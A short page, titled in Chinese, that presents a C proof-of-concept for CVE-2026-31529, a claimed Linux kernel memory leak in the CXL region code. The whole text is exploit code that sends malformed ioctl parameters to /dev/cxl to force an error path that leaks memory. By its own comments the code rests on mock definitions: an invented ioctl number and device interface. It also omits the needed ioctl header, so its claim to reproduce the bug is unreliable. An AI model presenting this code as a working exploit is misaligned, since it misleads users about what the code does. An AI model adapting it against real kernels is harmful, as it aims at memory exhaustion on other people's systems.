CVE-2026-31529 Linux内核内存泄漏漏洞

/* * PoC for CVE-2026-31529: Kernel Memory Leak in cxl/region * This code demonstrates the logic to trigger the leak. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> // Mock definitions for the sake of the PoC structure #define CXL_REGION_CREATE_IOCTL 0xC0 int main() { int fd; printf("[*] PoC for CVE-2026-31529: Triggering cxl_region leak\n"); // Open the CXL device interface fd = open("/dev/cxl", O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } // Attempt to create a region with parameters that force // sysfs_update_group() to fail early in __construct_region. // This requires specific kernel configuration or emulation. struct { int size; int flags; } params = { -1, 0 }; // Malformed params to induce failure if (ioctl(fd, CXL_REGION_CREATE_IOCTL, &params) != 0) { printf("[*] IOCTL failed (expected), resource leaked.\n"); } close(fd); printf("[+] Check kernel memory for leakage (slabtop).\n"); return 0; }